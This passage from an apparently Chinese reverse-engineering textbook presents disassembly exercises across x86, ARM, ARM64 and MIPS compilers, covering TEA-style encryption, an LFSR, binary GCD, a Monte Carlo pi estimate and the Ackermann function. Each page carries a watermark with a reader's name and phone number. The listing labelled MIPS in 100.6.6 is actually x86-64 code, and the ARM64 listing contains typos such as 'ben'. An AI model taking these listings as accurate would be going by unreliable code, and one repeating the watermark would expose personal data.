-12 ;size = 4 _k3$ = -8 ;size = 4 _k2$ = -4 ;size = 4 _v$ = 8 ;size = 4 _k1$ = 12 ;size = 4 _k$ = 12 ;size = 4 _f PROC sub esp, 12 ; 0000000cH mov ecx, DWORD PTR _v$[esp+8] mov eax, DWORD PTR [ecx] mov ecx, DWORD PTR [ecx+4] push ebx push esi mov esi, DWORD PTR _k$[esp+16] push edi mov edi, DWORD PTR [esi] mov DWORD PTR _k0$[esp+24], edi mov edi, DWORD PTR [esi+4] mov DWORD PTR _k1$[esp+20], edi mov edi, DWORD PTR [esi+8] mov esi, DWORD PTR [esi+12] xor edx, edx mov DWORD PTR _k2$[esp+24], edi mov DWORD PTR _k3$[esp+24], esi lea edi, DWORD PTR [edx+32] $LL8@f: mov esi, ecx shr esi, 5 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 100 章 中等难度练习题 883 add esi, DWORD PTR _k1$[esp+20] mov ebx, ecx shl ebx, 4 add ebx, DWORD PTR _k0$[esp+24] sub edx, 1640531527 ; 61c88647H xor esi, ebx lea ebx, DWORD PTR [edx+ecx] xor esi, ebx add eax, esi mov esi, eax shr esi, 5 add esi, DWORD PTR _k3$[esp+24] mov ebx, eax shl ebx, 4 add ebx, DWORD PTR _k2$[esp+24] xor esi, ebx lea ebx, DWORD PTR [edx+eax] xor esi, ebx add ecx, esi dec edi jne SHORT $LL8@f mov edx, DWORD PTR _v$[esp+20] pop edi pop esi mov DWORD PTR [edx], eax mov DWORD PTR [edx+4], ecx pop ebx add esp, 12 ; 0000000cH ret 0 _f ENDP 100.3.2 Optimizing Keil(ARM mode) PUSH {r4-r10,lr} ADD r5,r1,#8 LDM r5,{r5,r7} LDR r2,[r0,#4] LDR r3,[r0,#0] LDR r4,|L0.116| LDR r6,[r1,#4] LDR r8,[r1,#0] MOV r12,#0 MOV r1,r12 |L0.40| ADD r12,r12,r4 ADD r9,r8,r2,LSL #4 ADD r10,r2,r12 EOR r9,r9,r10 ADD r10,r6,r2,LSR #5 EOR r9,r9,r10 ADD r3,r3,r9 ADD r9,r5,r3,LSL #4 ADD r10,r3,r12 EOR r9,r9,r10 ADD r10,r7,r3,LSR #5 EOR r9,r9,r10 ADD r1,r1,#1 CMP r1,#0x20 ADD r2,r2,r9 STRCS r2,[r0,#4] STRCS r3,[r0,#0] BCC |L0.40| POP {r4-r10,pc} |L0.116| DCD 0x9e3779b9 异步社区会员 dearfuture(15918834820) 专享 尊重版权 884 逆向工程权威指南(下册) 100.3.3 Optimizing Keil(Thumb mode) PUSH {r1-r7,lr} LDR r5,|L0.84| LDR r3,[r0,#0] LDR r2,[r0,#4] STR r5,[sp,#8] MOVS r6,r1 LDM r6,{r6,r7} LDR r5,[r1,#8] STR r6,[sp,#4] LDR r6,[r1,#0xc] MOVS r4,#0 MOVS r1,r4 MOV lr,r5 MOV r12,r6 STR r7,[sp,#0] |L0.30| LDR r5,[sp,#8] LSLS r6,r2,#4 ADDS r4,r4,r5 LDR r5,[sp,#4] LSRS r7,r2,#5 ADDS r5,r6,r5 ADDS r6,r2,r4 EORS r5,r5,r6 LDR r6,[sp,#0] ADDS r1,r1,#1 ADDS r6,r7,r6 EORS r5,r5,r6 ADDS r3,r5,r3 LSLS r5,r3,#4 ADDS r6,r3,r4 ADD r5,r5,lr EORS r5,r5,r6 LSRS r6,r3,#5 ADD r6,r6,r12 EORS r5,r5,r6 ADDS r2,r5,r2 CMP r1,#0x20 BCC |L0.30| STR r3,[r0,#0] STR r2,[r0,#4] POP {r1-r7,pc} |L0.84| DCD 0x9e3779b9 100.3.4 Optimizing GCC 4.9.1(ARM64) 指令清单 100.3 Optimizing GCC 4.9.1(ARM64) f: ldr w3, [x0] mov w4, 0 ldr w2, [x0,4] ldr w10, [x1] ldr w9, [x1,4] ldr w8, [x1,8] ldr w7, [x1,12] .L2: mov w5, 31161 add w6, w10, w2, lsl 4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 100 章 中等难度练习题 885 movk w5, 0x9e37, lsl 16 add w1, w9, w2, lsr 5 add w4, w4, w5 eor w1, w6, w1 add w5, w2, w4 mov w6, 14112 eor w1, w1, w5 movk w6, 0xc6ef, lsl 16 add w3, w3, w1 cmp w4, w6 add w5, w3, w4 add w6, w8, w3, lsl 4 add w1, w7, w3, lsr 5 eor w1, w6, w1 eor w1, w1, w5 add w2, w2, w1 bne .L2 str w3, [x0] str w2, [x0,4] ret 100.3.5 Optimizing GCC 4.4.5(MIPS) 指令清单 100.4 Optimizing GCC 4.4.5(MIPS)(IDA) f: lui $t2, 0x9E37 lui $t1, 0xC6EF lw $v0, 0($a0) lw $v1, 4($a0) lw $t6, 0xC($a1) lw $t5, 0($a1) lw $t4, 4($a1) lw $t3, 8($a1) li $t2, 0x9E3779B9 li $t1, 0xC6EF3720 move $a1, $zero loc_2C: # CODE XREF: f+6C addu $a1, $t2 sll $a2, $v1, 4 addu $t0, $a1, $v1 srl $a3, $v1, 5 addu $a2, $t5 addu $a3, $t4 xor $a2, $t0, $a2 xor $a2, $a3 addu $v0, $a2 sll $a3, $v0, 4 srl $a2, $v0, 5 addu $a3, $t3 addu $a2, $t6 xor $a2, $a3, $a2 addu $a3, $v0, $a1 xor $a2, $a3 bne $a1, $t1, loc_2C addu $v1, $a2 sw $v1, 4($a0) jr $ra sw $v0, 0($a0) 100.4 练习题 2.13 下述程序采用了一种加密算法。这种算法的名称是什么? 异步社区会员 dearfuture(15918834820) 专享 尊重版权 886 逆向工程权威指南(下册) 100.4.1 Optimizing MSVC 2012 _in$ = 8 ; size = 2 _f PROC movzx ecx, WORD PTR _in$[esp-4] lea eax, DWORD PTR [ecx*4] xor eax, ecx add eax, eax xor eax, ecx shl eax, 2 xor eax, ecx and eax, 32 ; 00000020H shl eax, 10 ; 0000000aH shr ecx, 1 or eax, ecx ret 0 _f ENDP 100.4.2 Keil(ARM mode) f PROC EOR r1,r0,r0,LSR #2 EOR r1,r1,r0,LSR #3 EOR r1,r1,r0,LSR #5 AND r1,r1,#1 LSR r0,r0,#1 ORR r0,r0,r1,LSL #15 BX lr ENDP 100.4.3 Keil(Thumb mode) f PROC LSRS r1,r0,#2 EORS r1,r1,r0 LSRS r2,r0,#3 EORS r1,r1,r2 LSRS r2,r0,#5 EORS r1,r1,r2 LSLS r1,r1,#31 LSRS r0,r0,#1 LSRS r1,r1,#16 ORRS r0,r0,r1 BX lr ENDP 100.4.4 Optimizing GCC 4.9.1(ARM64) f: uxth w1, w0 lsr w2, w1, 3 lsr w0, w1, 1 eor w2, w2, w1, lsr 2 eor w2, w1, w2 eor w1, w2, w1, lsr 5 and w1, w1, 1 orr w0, w0, w1, lsl 15 ret 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 100 章 中等难度练习题 887 100.4.5 Optimizing GCC 4.4.5(MIPS) 指令清单 100.5 Optimizing GCC 4.4.5(MIPS)(IDA) f: andi $a0, 0xFFFF srl $v1, $a0, 2 srl $v0, $a0, 3 xor $v0, $v1, $v0 xor $v0, $a0, $v0 srl $v1, $a0, 5 xor $v0, $v1 andi $v0, 1 srl $a0, 1 sll $v0, 15 jr $ra or $v0, $a0 100.5 练习题 2.14 下面这段程序采用了另一种著名算法。函数把两个输入变量输出为一个返回值。 100.5.1 MSVC 2012 _rt$1 = −4 ;size=4 _rt$2 = 8 ;size=4 _x$ = 8 ;size=4 _y$ = 12 ;size=4 ?f@@YAIII@Z PROC ; f push ecx push esi mov esi, DWORD PTR _x$[esp+4] test esi, esi jne SHORT $LN7@f mov eax, DWORD PTR _y$[esp+4] pop esi pop ecx ret 0 $LN7@f: mov edx, DWORD PTR _y$[esp+4] mov eax, esi test edx, edx je SHORT $LN8@f or eax, edx push edi bsf edi, eax bsf eax, esi mov ecx, eax mov DWORD PTR _rt$1[esp+12], eax bsf eax, edx shr esi, cl mov ecx, eax shr edx, cl mov DWORD PTR _rt$2[esp+8], eax cmp esi, edx je SHORT $LN22@f $LN23@f: jbe SHORT $LN2@f xor esi, edx xor edx, esi xor esi, edx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 888 逆向工程权威指南(下册) $LN2@f: cmp esi, 1 je SHORT $LN22@f sub edx, esi bsf eax, edx mov ecx, eax shr edx, cl mov DWORD PTR _rt$2[esp+8], eax cmp esi, edx jne SHORT $LN23@f $LN22@f: mov ecx, edi shl esi, cl pop edi mov eax, esi $LN8@f: pop esi pop ecx ret 0 ?f@@YAIII@Z ENDP 100.5.2 Keil(ARM mode) ||f1|| PROC CMP r0,#0 RSB r1,r0,#0 AND r0,r0,r1 CLZ r0,r0 RSBNE r0,r0,#0x1f BX lr ENDP f PROC MOVS r2,r0 MOV r3,r1 MOVEQ r0,r1 CMPNE r3,#0 PUSH {lr} POPEQ {pc} ORR r0,r2,r3 BL ||f1|| MOV r12,r0 MOV r0,r2 BL ||f1|| LSR r2,r2,r0 |L0.196| MOV r0,r3 BL ||f1|| LSR r0,r3,r0 CMP r2,r0 EORHI r1,r2,r0 EORHI r0,r0,r1 EORHI r2,r1,r0 BEQ |L0.240| CMP r2,#1 SUBNE r3,r0,r2 BNE |L0.196| |L0.240| LSL r0,r2,r12 POP {pc} ENDP 100.5.3 GCC 4.6.3 for Raspberry Pi(ARM mode) f: subs r3, r0, #0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 100 章 中等难度练习题 889 beq .L162 cmp r1, #0 moveq r1, r3 beq .L162 orr r2, r1, r3 rsb ip, r2, #0 and ip, ip, r2 cmp r2, #0 rsb r2, r3, #0 and r2, r2, r3 clz r2, r2 rsb r2, r2, #31 clz ip, ip rsbne ip, ip, #31 mov r3, r3, lsr r2 b .L169 .L171: eorhi r1, r1, r2 eorhi r3, r1, r2 cmp r3, #1 rsb r1, r3, r1 beq .L167 .L169: rsb r0, r1, #0 and r0, r0, r1 cmp r1, #0 clz r0, r0 mov r2, r0 rsbne r2, r0, #31 mov r1, r1, lsr r2 cmp r3, r1 eor r2, r1, r3 bne .L171 .L167: mov r1, r3, asl ip .L162: mov r0, r1 bx lr 100.5.4 Optimizing GCC 4.9.1(ARM64) 指令清单 100.6 Optimizing GCC 4.9.1(ARM64) f: mov w3, w0 mov w0, w1 cbz w3, .L8 mov w0, w3 cbz w1, .L8 mov w6, 31 orr w5, w3, w1 neg w2, w3 neg w7, w5 and w2, w2, w3 clz w2, w2 sub w2, w6, w2 and w5, w7, w5 mov w4, w6 clz w5, w5 lsr w0, w3, w2 sub w5, w6, w5 b .L13 .L22: bls .L12 eor w1, w1, w2 eor w0, w1, w2 异步社区会员 dearfuture(15918834820) 专享 尊重版权 890 逆向工程权威指南(下册) .L12: cmp w0, 1 sub w1, w1, w0 beq .L11 .L13: neg w2, w1 cmp w1, wzr and w2, w2, w1 clz w2, w2 sub w3, w4, w2 csel w2, w3, w2, ne lsr w1, w1, w2 cmp w0, w1 eor w2, w1, w0 bne .L22 .L11: lsl w0, w0, w5 .L8: ret 100.5.5 Optimizing GCC 4.4.5(MIPS) 指令清单 100.7 Optimizing GCC 4.4.5(MIPS)(IDA) f: var_20 = -0x20 var_18 = -0x18 var_14 = -0x14 var_10 = -0x10 var_C = -0xC var_8 = -8 var_4 =-4 lui $gp, (__gnu_local_gp >> 16) addiu $sp, -0x30 la $gp, (__gnu_local_gp & 0xFFFF) sw $ra, 0x30+var_4($sp) sw $s4, 0x30+var_8($sp) sw $s3, 0x30+var_C($sp) sw $s2, 0x30+var_10($sp) sw $s1, 0x30+var_14($sp) sw $s0, 0x30+var_18($sp) sw $gp, 0x30+var_20($sp) move $s0, $a0 beqz $a0, loc_154 move $s1, $a1 bnez $a1, loc_178 or $s2, $a1, $a0 move $s1, $a0 loc_154: # CODE XREF: f+2C lw $ra, 0x30+var_4($sp) move $v0, $s1 lw $s4, 0x30+var_8($sp) lw $s3, 0x30+var_C($sp) lw $s2, 0x30+var_10($sp) lw $s1, 0x30+var_14($sp) lw $s0, 0x30+var_18($sp) jr $ra addiu $sp, 0x30 loc_178: # CODE XREF: f+34 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 100 章 中等难度练习题 891 lw $t9, (__clzsi2 & 0xFFFF)($gp) negu $a0, $s2 jalr $t9 and $a0, $s2 lw $gp, 0x30+var_20($sp) bnez $s2, loc_20C li $s4, 0x1F move $s4, $v0 loc_198: # CODE XREF: f:loc_20C lw $t9, (__clzsi2 & 0xFFFF)($gp) negu $a0, $s0 jalr $t9 and $a0, $s0 nor $v0, $zero, $v0 lw $gp, 0x30+var_20($sp) srlv $s0, $v0 li $s3, 0x1F li $s2, 1 loc_1BC: # CODE XREF: f+F0 lw $t9, (__clzsi2 & 0xFFFF)($gp) negu $a0, $s1 jalr $t9 and $a0, $s1 lw $gp, 0x30+var_20($sp) beqz $s1, loc_1DC or $at, $zero subu $v0, $s3, $v0 loc_1DC: # CODE XREF: f+BC srlv $s1, $v0 xor $v1, $s1, $s0 beq $s0, $s1, loc_214 sltu $v0, $s1, $s0 beqz $v0, loc_1FC or $at, $zero xor $s1, $v1 xor $s0, $s1, $v1 loc_1FC: # CODE XREF: f+D8 beq $s0, $s2, loc_214 subu $s1, $s0 b loc_1BC or $at, $zero loc_20C: # CODE XREF: f+78 b loc_198 subu $s4, $v0 loc_214: # CODE XREF: f+D0 # f:loc_1FC lw $ra, 0x30+var_4($sp) sllv $s1, $s0, $s4 move $v0, $s1 lw $s4, 0x30+var_8($sp) lw $s3, 0x30+var_C($sp) lw $s2, 0x30+var_10($sp) lw $s1, 0x30+var_14($sp) lw $s0, 0x30+var_18($sp) jr $ra addiu $sp, 0x30 100.6 练习题 2.15 这个程序实现了一种著名的算法。请问,这个算法的名称是什么? 在 x86 平台上,程序使用 FPU 进行运算;而在 x64 平台上,程序使用的是 SIMD 指令集。这属于正常 异步社区会员 dearfuture(15918834820) 专享 尊重版权 892 逆向工程权威指南(下册) 现象,详细介绍请参见本书第 27 章。 100.6.1 Optimizing MSVC 2012 x64 __real@412e848000000000 DQ 0412e848000000000r ; 1e+006 __real@4010000000000000 DQ 04010000000000000r ;4 __real@4008000000000000 DQ 04008000000000000r ;3 __real@3f800000 DD 03f800000r ;1 tmp$1 = 8 tmp$2 = 8 f PROC movsdx xmm3, QWORD PTR __real@4008000000000000 movss xmm4, DWORD PTR __real@3f800000 mov edx, DWORD PTR ?RNG_state@?1??get_rand@@9@9 xor ecx, ecx mov r8d, 200000 ; 00030d40H npad 2 ; align next label $LL4@f: imul edx, 1664525 ; 0019660dH add edx, 1013904223 ; 3c6ef35fH mov eax, edx and eax, 8388607 ; 007fffffH imul edx, 1664525 ; 0019660dH bts eax, 30 add edx, 1013904223 ; 3c6ef35fH mov DWORD PTR tmp$2[rsp], eax mov eax, edx and eax, 8388607 ; 007fffffH bts eax, 30 movss xmm0, DWORD PTR tmp$2[rsp] mov DWORD PTR tmp$1[rsp], eax cvtps2pd xmm0, xmm0 subsd xmm0, xmm3 cvtpd2ps xmm2, xmm0 movss xmm0, DWORD PTR tmp$1[rsp] cvtps2pd xmm0, xmm0 mulss xmm2, xmm2 subsd xmm0, xmm3 cvtpd2ps xmm1, xmm0 mulss xmm1, xmm1 addss xmm1, xmm2 comiss xmm4, xmm1 jbe SHORT $LN3@f inc ecx $LN3@f: imul edx, 1664525 ; 0019660dH add edx, 1013904223 ; 3c6ef35fH mov eax, edx and eax, 8388607 ; 007fffffH imul edx, 1664525 ; 0019660dH bts eax, 30 add edx, 1013904223 ; 3c6ef35fH mov DWORD PTR tmp$2[rsp], eax mov eax, edx and eax, 8388607 ; 007fffffH bts eax, 30 movss xmm0, DWORD PTR tmp$2[rsp] mov DWORD PTR tmp$1[rsp], eax cvtps2pd xmm0, xmm0 subsd xmm0, xmm3 cvtpd2ps xmm2, xmm0 movss xmm0, DWORD PTR tmp$1[rsp] cvtps2pd xmm0, xmm0 mulss xmm2, xmm2 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 100 章 中等难度练习题 893 subsd xmm0, xmm3 cvtpd2ps xmm1, xmm0 mulss xmm1, xmm1 addss xmm1, xmm2 comiss xmm4, xmm1 jbe SHORT $LN15@f inc ecx $LN15@f: imul edx, 1664525 ; 0019660dH add edx, 1013904223 ; 3c6ef35fH mov eax, edx and eax, 8388607 ; 007fffffH imul edx, 1664525 ; 0019660dH bts eax, 30 add edx, 1013904223 ; 3c6ef35fH mov DWORD PTR tmp$2[rsp], eax mov eax, edx and eax, 8388607 ; 007fffffH bts eax, 30 movss xmm0, DWORD PTR tmp$2[rsp] mov DWORD PTR tmp$1[rsp], eax cvtps2pd xmm0, xmm0 subsd xmm0, xmm3 cvtpd2ps xmm2, xmm0 movss xmm0, DWORD PTR tmp$1[rsp] cvtps2pd xmm0, xmm0 mulss xmm2, xmm2 subsd xmm0, xmm3 cvtpd2ps xmm1, xmm0 mulss xmm1, xmm1 addss xmm1, xmm2 comiss xmm4, xmm1 jbe SHORT $LN16@f inc ecx $LN16@f: imul edx, 1664525 ; 0019660dH add edx, 1013904223 ; 3c6ef35fH mov eax, edx and eax, 8388607 ; 007fffffH imul edx, 1664525 ; 0019660dH bts eax, 30 add edx, 1013904223 ; 3c6ef35fH mov DWORD PTR tmp$2[rsp], eax mov eax, edx and eax, 8388607 ; 007fffffH bts eax, 30 movss xmm0, DWORD PTR tmp$2[rsp] mov DWORD PTR tmp$1[rsp], eax cvtps2pd xmm0, xmm0 subsd xmm0, xmm3 cvtpd2ps xmm2, xmm0 movss xmm0, DWORD PTR tmp$1[rsp] cvtps2pd xmm0, xmm0 mulss xmm2, xmm2 subsd xmm0, xmm3 cvtpd2ps xmm1, xmm0 mulss xmm1, xmm1 addss xmm1, xmm2 comiss xmm4, xmm1 jbe SHORT $LN17@f inc ecx $LN17@f: imul edx, 1664525 ; 0019660dH add edx, 1013904223 ; 3c6ef35fH mov eax, edx and eax, 8388607 ; 007fffffH imul edx, 1664525 ; 0019660dH 异步社区会员 dearfuture(15918834820) 专享 尊重版权 894 逆向工程权威指南(下册) bts eax, 30 add edx, 1013904223 ; 3c6ef35fH mov DWORD PTR tmp$2[rsp], eax mov eax, edx and eax, 8388607 ; 007fffffH bts eax, 30 movss xmm0, DWORD PTR tmp$2[rsp] mov DWORD PTR tmp$1[rsp], eax cvtps2pd xmm0, xmm0 subsd xmm0, xmm3 cvtpd2ps xmm2, xmm0 movss xmm0, DWORD PTR tmp$1[rsp] cvtps2pd xmm0, xmm0 mulss xmm2, xmm2 subsd xmm0, xmm3 cvtpd2ps xmm1, xmm0 mulss xmm1, xmm1 addss xmm1, xmm2 comiss xmm4, xmm1 jbe SHORT $LN18@f inc ecx $LN18@f: dec r8 jne $LL4@f movd xmm0, ecx mov DWORD PTR ?RNG_state@?1??get_rand@@9@9, edx cvtdq2ps xmm0, xmm0 cvtps2pd xmm1, xmm0 mulsd xmm1, QWORD PTR __real@4010000000000000 divsd xmm1, QWORD PTR __real@412e848000000000 cvtpd2ps xmm0, xmm1 ret 0 f ENDP 100.6.2 Optimizing GCC 4.4.6 x64 f1: mov eax, DWORD PTR v1.2084[rip] imul eax, eax, 1664525 add eax, 1013904223 mov DWORD PTR v1.2084[rip], eax and eax, 8388607 or eax, 1073741824 mov DWORD PTR [rsp-4], eax movss xmm0, DWORD PTR [rsp-4] subss xmm0, DWORD PTR .LC0[rip] ret f: push rbp xor ebp, ebp push rbx xor ebx, ebx sub rsp, 16 .L6: xor eax, eax call f1 xor eax, eax movss DWORD PTR [rsp], xmm0 call f1 movss xmm1, DWORD PTR [rsp] mulss xmm0, xmm0 mulss xmm1, xmm1 lea eax, [rbx+1] addss xmm1, xmm0 movss xmm0, DWORD PTR .LC1[rip] ucomiss xmm0, xmm1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 100 章 中等难度练习题 895 cmova ebx, eax add ebp, 1 cmp ebp, 1000000 jne .L6 cvtsi2ss xmm0, ebx unpcklps xmm0, xmm0 cvtps2pd xmm0, xmm0 mulsd xmm0, QWORD PTR .LC2[rip] divsd xmm0, QWORD PTR .LC3[rip] add rsp, 16 pop rbx pop rbp unpcklpd xmm0, xmm0 cvtpd2ps xmm0, xmm0 ret v1.2084: .long 305419896 .LC0: .long 1077936128 .LC1: .long 1065353216 .LC2: .long 0 .long 1074790400 .LC3: .long 0 .long 1093567616 100.6.3 Optimizing GCC 4.8.1 x86 f1: sub esp, 4 imul eax, DWORD PTR v1.2023, 1664525 add eax, 1013904223 mov DWORD PTR v1.2023, eax and eax, 8388607 or eax, 1073741824 mov DWORD PTR [esp], eax fld DWORD PTR [esp] fsub DWORD PTR .LC0 add esp, 4 ret f: push esi mov esi, 1000000 push ebx xor ebx, ebx sub esp, 16 .L7: call f1 fstp DWORD PTR [esp] call f1 lea eax, [ebx+1] fld DWORD PTR [esp] fmul st, st(0) fxch st(1) fmul st, st(0) faddp st(1), st fld1 fucomip st, st(1) fstp st(0) cmova ebx, eax sub esi, 1 jne .L7 mov DWORD PTR [esp+4], ebx fild DWORD PTR [esp+4] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 896 逆向工程权威指南(下册) fmul DWORD PTR .LC3 fdiv DWORD PTR .LC4 fstp DWORD PTR [esp+8] fld DWORD PTR [esp+8] add esp, 16 pop ebx pop esi ret v1.2023: .long 305419896 .LC0: .long 1077936128 .LC3: .long 1082130432 .LC4: .long 1232348160 100.6.4 Keil(ARM 模式):面向 Cortex-R4F CPU 的代码 f1 PROC LDR r1,|L0.184| LDR r0,[r1,#0] ; v1 LDR r2,|L0.188| VMOV.F32 s1,#3.00000000 MUL r0,r0,r2 LDR r2,|L0.192| ADD r0,r0,r2 STR r0,[r1,#0] ; v1 BFC r0,#23,#9 ORR r0,r0,#0x40000000 VMOV s0,r0 VSUB.F32 s0,s0,s1 BX lr ENDP f PROC PUSH {r4,r5,lr} MOV r4,#0 LDR r5,|L0.196| MOV r3,r4 |L0.68| BL f1 VMOV.F32 s2,s0 BL f1 VMOV.F32 s1,s2 ADD r3,r3,#1 VMUL.F32 s1,s1,s1 VMLA.F32 s1,s0,s0 VMOV r0,s1 CMP r0,#0x3f800000 ADDLT r4,r4,#1 CMP r3,r5 BLT |L0.68| VMOV s0,r4 VMOV.F64 d1,#4.00000000 VCVT.F32.S32 s0,s0 VCVT.F64.F32 d0,s0 VMUL.F64 d0,d0,d1 VLDR d1,|L0.200| VDIV.F64 d2,d0,d1 VCVT.F32.F64 s0,d2 POP {r4,r5,pc} ENDP |L0.184| DCD ||.data|| 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 100 章 中等难度练习题 897 |L0.188| DCD 0x0019660d |L0.192| DCD 0x3c6ef35f |L0.196| DCD 0x000f4240 |L0.200| DCFD 0x412e848000000000 ; 1000000 DCD 0x00000000 AREA ||.data||, DATA, ALIGN=2 v1 DCD 0x12345678 100.6.5 Optimizing GCC 4.9.1(ARM64) 指令清单 100.8 Optimizing GCC 4.9.1(ARM64) f1: adrp x2, .LANCHOR0 mov w3, 26125 mov w0, 62303 movk w3, 0x19, lsl 16 movk w0, 0x3c6e, lsl 16 ldr w1, [x2,#:lo12:.LANCHOR0] fmov s0, 3.0e+0 madd w0, w1, w3, w0 str w0, [x2,#:lo12:.LANCHOR0] and w0, w0, 8388607 orr w0, w0, 1073741824 fmov s1, w0 fsub s0, s1, s0 ret mail_function: adrp x7, .LANCHOR0 mov w3, 16960 movk w3, 0xf, lsl 16 mov w2, 0 fmov s2, 3.0e+0 ldr w1, [x7,#:lo12:.LANCHOR0] fmov s3, 1.0e+0 .L5: mov w6, 26125 mov w0, 62303 movk w6, 0x19, lsl 16 movk w0, 0x3c6e, lsl 16 mov w5, 26125 mov w4, 62303 madd w1, w1, w6, w0 movk w5, 0x19, lsl 16 movk w4, 0x3c6e, lsl 16 and w0, w1, 8388607 add w6, w2, 1 orr w0, w0, 1073741824 madd w1, w1, w5, w4 fmov s0, w0 and w0, w1, 8388607 orr w0, w0, 1073741824 fmov s1, w0 fsub s0, s0, s2 fsub s1, s1, s2 fmul s1, s1, s1 fmadd s0, s0, s0, s1 fcmp s0, s3 异步社区会员 dearfuture(15918834820) 专享 尊重版权 898 逆向工程权威指南(下册) csel w2, w2, w6, pl subs w3, w3, #1 ben .L5 scvtf s0, w2 str w1, [x7, #:lo12:.LANCH0R]] fmov d1, 4.0e+0 fcvt d0, s0 fmul d0, d0, d1 ldr d1, .LC0 fdiv d0, d0, d1 fcvt s0, d0 ret .LC0: .word 0 .word 1093567616 .V1: .word 1013904223 .V2: .word 1664525 .LANCH0R0: = . + 0 v3.3095 .word 305419896 100.6.6 Optimizing GCC 4.4.5(MIPS) 指令清单 100.9 Optimizing GCC 4.4.5(MIPS)(IDA) f1: mov eax, DWORD PTR v1.2084[rip] imul eax, eax, 1664525 add eax, 1013904223 mov DWORD PTR v1.2084[rip], eax and eax, 8388607 or eax, 1073741824 mov DWORD PTR [rsp-4], eax movss xmm0, DWORD PTR [rsp-4] subss xmm0, DWORD PTR .LC0[rip] ret f: push rbp xor ebp, ebp push rbx xor ebx, ebx sub rsp, 16 .L6: xor eax, eax call f1 xor eax, eax movss DWORD PTR [rsp], xmm0 call f1 movss xmm1, DWORD PTR [rsp] mulss xmm0, xmm0 mulss xmm1, xmm1 lea eax, [rbx+1] addss xmm1, xmm0 movss xmm0, DWORD PTR .LC1[rip] ucomiss xmm0, xmm1 cmova ebx, eax add ebp, 1 cmp ebp, 1000000 jne .L6 cvtsi2ss xmm0, ebx unpcklps xmm0, xmm0 cvtps2pd xmm0, xmm0 mulsd xmm0, QWORD PTR .LC2[rip] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 100 章 中等难度练习题 899 divsd xmm0, QWORD PTR .LC3[rip] add rsp, 16 pop rbx pop rbp unpcklpd xmm0, xmm0 cvtpd2ps xmm0, xmm0 ret v1.2084: .long 305419896 .LC0: .long 1077936128 .LC1: .long 1065353216 .LC2: .long 0 .long 1074790400 .LC3: .long 0 .long 1093567616 100.7 练习题 2.16 这个题目是一个著名的函数。请问它的计算结果是什么?如果输入了 4 和 2,该程序会出现栈溢出问题。 为什么会这样,代码里有错误么? 100.7.1 Optimizing MSVC 2012 x64 m$ = 48 n$ = 56 f PROC $LN14: push rbx sub rsp, 32 mov eax, edx mov ebx, ecx test ecx, ecx je SHORT $LN11@f $LL5@f: test eax, eax jne SHORT $LN1@f mov eax, 1 jmp SHORT $LN12@f $LN1@f: lea edx, DWORD PTR [rax-1] mov ecx, ebx call f $LN12@f: dec ebx test ebx, ebx jne SHORT $LL5@f $LN11@f: inc eax add rsp, 32 pop rbx ret 0 f ENDP 100.7.2 Optimizing Keil(ARM mode) f PROC PUSH {r4,lr} 异步社区会员 dearfuture(15918834820) 专享 尊重版权 900 逆向工程权威指南(下册) MOVS r4,r0 ADDEQ r0,r1,#1 POPEQ {r4,pc} CMP r1,#0 MOVEQ r1,#1 SUBEQ r0,r0,#1 BEQ |L0.48| SUB r1,r1,#1 BL f MOV r1,r0 SUB r0,r4,#1 |L0.48| POP {r4,lr} B f ENDP 100.7.3 Optimizing Keil(Thumb mode) f PROC PUSH {r4,lr} MOVS r4,r0 BEQ |L0.26| CMP r1,#0 BEQ |L0.30| SUBS r1,r1,#1 BL f MOVS r1,r0 |L0.18| SUBS r0,r4,#1 BL f POP {r4,pc} |L0.26| ADDS r0,r1,#1 POP {r4,pc} |L0.30| MOVS r1,#1 B |L0.18| ENDP 100.7.4 Non-optimizing GCC 4.9.1(ARM64) 指令清单 100.10 Non-optimizing GCC 4.9.1(ARM64) f: stp x29, x30, [sp, -48]! add x29, sp, 0 str x19, [sp,16] str w0, [x29,44] str w1, [x29,40] ldr w0, [x29,44] cmp w0, wzr bne .L2 ldr w0, [x29,40] add w0, w0, 1 b .L3 .L2: ldr w0, [x29,40] cmp w0, wzr bne .L4 ldr w0, [x29,44] sub w0, w0, #1 mov w1, 1 bl ack b .L3 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 100 章 中等难度练习题 901 .L4: ldr w0, [x29,44] sub w19, w0, #1 ldr w0, [x29,40] sub w1, w0, #1 ldr w0, [x29,44] bl ack mov w1, w0 mov w0, w19 bl ack .L3: ldr x19, [sp,16] ldp x29, x30, [sp], 48 ret 100.7.5 Optimizing GCC 4.9.1(ARM64) 开启优化模式之后,GCC 生成的代码反而更长了。这是为什么? 指令清单 100.11 Optimizing GCC 4.9.1(ARM64) ack: stp x29, x30, [sp, -160]! add x29, sp, 0 stp d8, d9, [sp,96] stp x19, x20, [sp,16] stp d10, d11, [sp,112] stp x21, x22, [sp,32] stp d12, d13, [sp,128] stp x23, x24, [sp,48] stp d14, d15, [sp,144] stp x25, x26, [sp,64] stp x27, x28, [sp,80] cbz w0, .L2 sub w0, w0, #1 fmov s10, w0 b .L4 .L46: fmov w0, s10 mov w1, 1 sub w0, w0, #1 fmov s10, w0 fmov w0, s13 cbz w0, .L2 .L4: fmov s13, s10 cbz w1, .L46 sub w1, w1, #1 fmov s11, s10 b .L7 .L48: fmov w0, s11 mov w1, 1 sub w0, w0, #1 fmov s11, w0 fmov w0, s14 cbz w0, .L47 .L7: fmov s14, s11 cbz w1, .L48 sub w1, w1, #1 fmov s12, s11 b .L10 .L50: fmov w0, s12 mov w1, 1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 902 逆向工程权威指南(下册) sub w0, w0, #1 fmov s12, w0 fmov w0, s15 cbz w0, .L49 .L10: fmov s15, s12 cbz w1, .L50 sub w1, w1, #1 fmov s8, s12 b .L13 .L52: fmov w0, s8 mov w1, 1 sub w0, w0, #1 fmov s8, w0 fmov w0, s9 cbz w0, .L51 .L13: fmov s9, s8 cbz w1, .L52 sub w1, w1, #1 fmov w22, s8 b .L16 .L54: mov w1, 1 sub w22, w22, #1 cbz w28, 